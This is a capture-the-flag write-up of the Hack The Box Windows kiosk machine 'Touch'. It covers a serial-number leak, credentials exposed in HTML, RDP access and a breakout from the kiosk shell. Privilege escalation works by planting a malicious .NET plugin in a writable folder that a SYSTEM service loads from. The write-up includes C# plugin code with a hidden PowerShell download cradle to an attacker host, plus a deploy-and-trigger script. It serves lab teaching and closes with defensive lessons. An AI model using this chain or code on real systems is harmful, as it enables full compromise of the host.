Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

Touch

Touch is a Windows box built around an airport self check-in kiosk ("HTB Airways") and its backing device-management stack, Nexion DeviceHub.

platform
Hack The Box
target_os
Windows 11 / Server 2025 (Build 26100)
difficulty
Medium
season
Season 12
logged
October 20, 2026
exploit_vectors → Unauthenticated info leakCredential leak in HTMLRDP into the kiosk

Summary of Exploitation

Touch is a Windows box built around an airport self check-in kiosk (“HTB Airways”) and its backing device-management stack, Nexion DeviceHub. There is no Active Directory — it is a standalone workgroup machine locked into kiosk mode. The chain proceeds as follows:

  1. Unauthenticated info leak — GET /api/status on the DeviceHub web service (:8443) leaks the device serial number. The login page hints the default admin password is the serial, granting DeviceHub admin.
  2. Credential leak in HTML — authenticated DeviceHub pages embed the kiosk Windows credentials (KioskUser:K!0sk2026#) in a client-side toggleCred() helper.
  3. RDP into the kiosk — NLA is disabled, so xfreerdp /sec:rdp lands a session as KioskUser. The locked-down kiosk shell is broken out of to obtain a real PowerShell / Explorer — and the user flag.
  4. Privilege escalation via a SYSTEM print-service plugin loader — NexionPrinter.exe runs as SYSTEM and auto-loads .NET plugin DLLs from a directory writable by the Printer Administrators group (which KioskUser belongs to). Dropping a malicious plugin and firing the restart trigger executes attacker code as SYSTEM, yielding the root flag.

A heavily-signposted MySQL rabbit hole (LocalSystem service + leaked root password + a user-writable service binary) sits alongside the real path and is documented below as a dead end.


Recon Phase

An initial scan was run against the target from the Exegol VPN host (<attacker-ip>):

nmap -p- --min-rate 1000 -Pn -oA nmap_full <target-ip>
nmap -p 135,3389,5985,8443 -sCV -Pn -oA nmap_svc <target-ip>

Results (abridged):

Port State Service Version
135 open msrpc Microsoft Windows RPC
3389 open ms-wbt-server Microsoft Terminal Service (NLA disabled)
5985 open http Microsoft HTTPAPI httpd 2.0 (WinRM)
8443 open http Microsoft HTTPAPI httpd 2.0 — Nexion DeviceHub - Login

Key takeaways from recon:

  • No AD services (53/88/389/…) — this is a standalone workgroup host, KIOSK-042.
  • :8443 serves a custom app, Nexion DeviceHub, over a .NET HttpListener (fronted by HTTP.sys, hence the Microsoft-HTTPAPI/2.0 banner and CORS GET POST PUT OPTIONS).
  • RDP (3389) has NLA disabled — any valid local credential can be used with /sec:rdp without CredSSP, which matters once kiosk creds are recovered.
  • WinRM (5985) is open but the kiosk account is not in Remote Management Users, so it is not usable for a shell.

Service Enumeration — Nexion DeviceHub (:8443)

The DeviceHub login page states that the default administrator password is the device serial number. The serial is exposed without authentication:

curl -s http://<target-ip>:8443/api/status
# -> leaks device serial: NX-DH-2024-B7042

Logging in with password = serial establishes an authenticated session (nxsession cookie):

curl -s -i -X POST http://<target-ip>:8443/login \
  -d "password=NX-DH-2024-B7042" | grep -i set-cookie
# Set-Cookie: nxsession=<hex>

As DeviceHub admin, the dashboard and device pages (/dashboard, printer/scanner settings) render the kiosk’s Windows credentials directly into the HTML via a client-side credential-reveal helper (toggleCred()):

KioskUser : K!0sk2026#

These credentials were not valid for WinRM (account not in Remote Management Users) but were valid for RDP.

The DeviceHub API surface is large (/api/scanner/test-image, /api/scan, /api/printer/{power,settings,test-print,restart,queue}, /login/badge, …). A badge/QR “staff login” path exists but is a secondary route; the credential leak above is the intended foothold.


Foothold — RDP as KioskUser + kiosk breakout

Because NLA is disabled, a plain RDP-security session drops straight into the kiosk desktop. A drive is redirected for file transfer:

xfreerdp /v:<target-ip> /u:KioskUser /p:'K!0sk2026#' \
         /sec:rdp /cert:ignore /drive:sharename,/workspace/Touch +clipboard

The session opens the HTB Airways “SELF CHECK-IN” kiosk app — a WebView2 front-end (HTBAirwaysKiosk.exe) hardened against the usual escapes (no F12, no right-click, no Ctrl+Alt+Del, no Task Manager, alternate /shell: refused). After breaking out of the kiosk to a normal explorer.exe + PowerShell, the user flag is on the desktop:

type C:\Users\KioskUser\Desktop\user.txt

User flag: [REDACTED — 32 hex chars]


Privilege Escalation Phase

Local context

whoami /all
Property Value
User KIOSK-042\KioskUser (Medium integrity)
Groups Users, Remote Desktop Users, KIOSK-042\Printer Administrators
Privileges only SeChangeNotifyPrivilege (no Se*Impersonate, no SeShutdown)

The custom Printer Administrators group is the standout — it exists for a reason and ends up being the privilege-escalation primitive.

Step 1 — Finding the real primitive: the Nexion print service

Two themed .NET apps live under C:\Program Files\Nexion Systems\ (Printer\, DocReader\). The printer daemon is running as SYSTEM:

Get-CimInstance Win32_Process -Filter "Name='NexionPrinter.exe'" |
  select ProcessId, ParentProcessId
# PID=2280  PPID=1668 (svchost)  -> owner query denied == SYSTEM

The assembly NexionPrinter.dll is tiny (~6 KB) and was decompiled offline (IL of Main/LoadPlugins disassembled with dnfile). Its strings and member references give away a plugin loader:

"[NexionPrinter] Loading N plugin(s) from ...", "*.dll", "Initialize",
"printer-restart.trigger", Assembly.LoadFrom, GetExportedTypes,
Activator.CreateInstance, GetMethod, Invoke, AppContext.get_BaseDirectory, GetFolderPath

The disassembly pinned down the exact behaviour:

  • Trigger path (watched in a loop): GetFolderPath(CommonApplicationData) + Nexion → C:\ProgramData\Nexion\printer-restart.trigger.
  • On trigger → delete it → LoadPlugins(), which loads from AppContext.BaseDirectory + "plugins":
C:\Program Files\Nexion Systems\Printer\publish\plugins\*.dll

LoadPlugins for each DLL does: Assembly.LoadFrom → GetExportedTypes → Activator.CreateInstance(type) → type.GetMethod("Initialize").Invoke(instance, null).

So: any .NET type with an Initialize() method, in a DLL in that folder, is instantiated and invoked as SYSTEM whenever the restart trigger is dropped.

The DeviceHub /api/printer/restart endpoint (admin-only) is what normally writes printer-restart.trigger; the file can also just be created directly.

Step 2 — The folder is writable by Printer Administrators

The plugin directory exists and is delegated to exactly the group KioskUser is in:

icacls "C:\Program Files\Nexion Systems\Printer\publish\plugins"
# KIOSK-042\Printer Administrators:(OI)(CI)(M)      <-- Modify
# BUILTIN\Users:(RX)  SYSTEM/Administrators:(F)  ...

(The publish parent itself is Users:RX, so this specific plugins sub-folder ACL is the intended write primitive.) A write test confirmed WRITE OK.

Step 3 — Malicious .NET plugin → SYSTEM

The target ships the full .NET SDK 8.0.419 (C:\Program Files\dotnet, with Roslyn csc), so the plugin was compiled on the box.

Plugin.cs — an exported type whose constructor and Initialize() run the payload (belt-and-braces, since the loader instantiates then invokes). It just launches a SYSTEM reverse shell via a download-cradle:

using System;
using System.IO;
using System.Diagnostics;

namespace NexionPluginPack
{
    public class PrinterHook
    {
        public PrinterHook() { Fire(); }
        public void Initialize() { Fire(); }

        static void Fire()
        {
            // As SYSTEM: start powershell (hidden) with a standard one-line download-cradle
            // that fetches and runs the payload sh.ps1 from the attacker's :8000 (Appendix B).
            try
            {
                var psi = new ProcessStartInfo("powershell.exe", Cradle("http://<attacker-ip>:8000/sh.ps1"))
                          { UseShellExecute = false, CreateNoWindow = true };
                Process.Start(psi);
            }
            catch { }
        }

        // Cradle(url) => -nop -w hidden -ep bypass -c "IEX(IWR <url> -UseBasicParsing)"
        static string Cradle(string url) =>
            "-nop -w hidden -ep bypass -c \"IEX(IWR " + url + " -UseBasicParsing)\"";
    }
}

Plugin.csproj is a plain net8.0 class library (Appendix A). sh.ps1 is a standard PowerShell reverse shell back to the attacker’s listener on <attacker-ip>:9002 (Appendix B).

Build on the target, deploy to the plugin folder, and fire the trigger (full one-shot script in Appendix C):

& "C:\Program Files\dotnet\dotnet.exe" build .\Plugin.csproj -c Release -o .\out
copy .\out\NexionPluginPack.dll "C:\Program Files\Nexion Systems\Printer\publish\plugins\"
New-Item -ItemType File -Path "C:\ProgramData\Nexion\printer-restart.trigger" -Force

Within one poll cycle the SYSTEM NexionPrinter service picked up the trigger, loaded NexionPluginPack.dll, and invoked the payload. A SYSTEM shell connected back:

ESTAB  <attacker-ip>:9002  <-  <target-ip>:55582

Execution context confirmed SYSTEM (process USERNAME resolves to the machine account):

WORKGROUP\KIOSK-042$   ==  NT AUTHORITY\SYSTEM

Root

type C:\Users\Administrator\Desktop\root.txt

Root flag: [REDACTED — 32 hex chars]


Key Takeaways

  • Default-password-equals-serial is a real pattern. An unauthenticated serial leak (/api/status) plus a “default password” hint is a complete admin bypass on the DeviceHub — treat device identifiers as secrets.
  • Credentials in client-side code are still credentials. The kiosk Windows password was shipped to the browser in a toggleCred() helper; reading the HTML was enough.
  • NLA-disabled RDP + a recovered local password = interactive access. xfreerdp /sec:rdp sidesteps CredSSP entirely; kiosk lockdown is a UI layer, not a security boundary.
  • Follow the custom group. Printer Administrators had no obvious meaning until it lined up with a SYSTEM service that loads plugins from a group-writable folder. Enumerate non-default groups and map them to writable paths / services.
  • Decompile the custom binary. The whole privesc was invisible until NexionPrinter.dll was disassembled; its Assembly.LoadFrom → Initialize() loop over a writable plugins\ directory is a classic insecure-plugin-loading → SYSTEM.
  • Not every signposted path is the path. The MySQL service (LocalSystem + leaked root password + user-writable binary) is a deliberate distraction — without the right to start the service and with no restarter, it dead-ends.
  • Live off the target’s SDK. The box shipping the .NET 8 SDK meant the plugin could be built in place with dotnet build — no cross-compilation needed.

Full Attack Chain

unauth GET /api/status  ──>  device serial NX-DH-2024-B7042
   └─ default password == serial  ──>  DeviceHub admin (:8443)
        └─ creds leaked in HTML (toggleCred)  ──>  KioskUser : K!0sk2026#
             └─ RDP /sec:rdp (NLA off)  ──>  kiosk breakout  ──>  shell as KioskUser   [USER]
                  └─ KioskUser ∈ "Printer Administrators"  (writable plugins dir)
                       └─ malicious .NET plugin in NexionPrinter's publish\plugins\
                            └─ drop printer-restart.trigger  ──>  SYSTEM loads + Invoke()   [ROOT]

Appendix — Exploitation Scripts

Only the artifacts required to go from KioskUser → SYSTEM. Plugin.cs is listed inline in Step 4. Attacker IP <attacker-ip>, HTTP file server on :8000.

A. Plugin.csproj — the malicious plugin project

Compiled on the target with its own SDK (dotnet build -c Release).

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>disable</ImplicitUsings>
    <Nullable>disable</Nullable>
    <AssemblyName>NexionPluginPack</AssemblyName>
    <EnableDefaultCompileItems>true</EnableDefaultCompileItems>
    <AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
  </PropertyGroup>
</Project>

B. sh.ps1 — the SYSTEM payload

A standard PowerShell System.Net.Sockets.TCPClient reverse shell to <attacker-ip>:9002 (the usual auto-reconnecting read → iex → write loop; generate one from revshells.com / Nishang Invoke-PowerShellTcp pointed at host <attacker-ip>, port 9002). Caught on the attacker with nc -lvnp 9002.

The raw socket loop is not reproduced here; the working copy used on the engagement is saved in the workspace at srv/sh9002.ps1.

C. build.ps1 — build, deploy, and trigger (run on target)

Downloads the two source files, compiles with the target’s dotnet, copies the DLL into the SYSTEM-loaded plugins\ directory, and drops the restart trigger — one shot.

$bd = Join-Path $env:TEMP 'np'
Remove-Item $bd -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $bd | Out-Null

$wc = New-Object Net.WebClient
$wc.DownloadFile('http://<attacker-ip>:8000/plugin/Plugin.cs',     "$bd\Plugin.cs")
$wc.DownloadFile('http://<attacker-ip>:8000/plugin/Plugin.csproj', "$bd\Plugin.csproj")

$dn  = 'C:\Program Files\dotnet\dotnet.exe'
& $dn build "$bd\Plugin.csproj" -c Release -o "$bd\out" --nologo

$plug = 'C:\Program Files\Nexion Systems\Printer\publish\plugins'
New-Item -ItemType Directory -Force -Path $plug | Out-Null
Copy-Item "$bd\out\NexionPluginPack.dll" "$plug\NexionPluginPack.dll" -Force

New-Item -ItemType File -Path 'C:\ProgramData\Nexion\printer-restart.trigger' -Force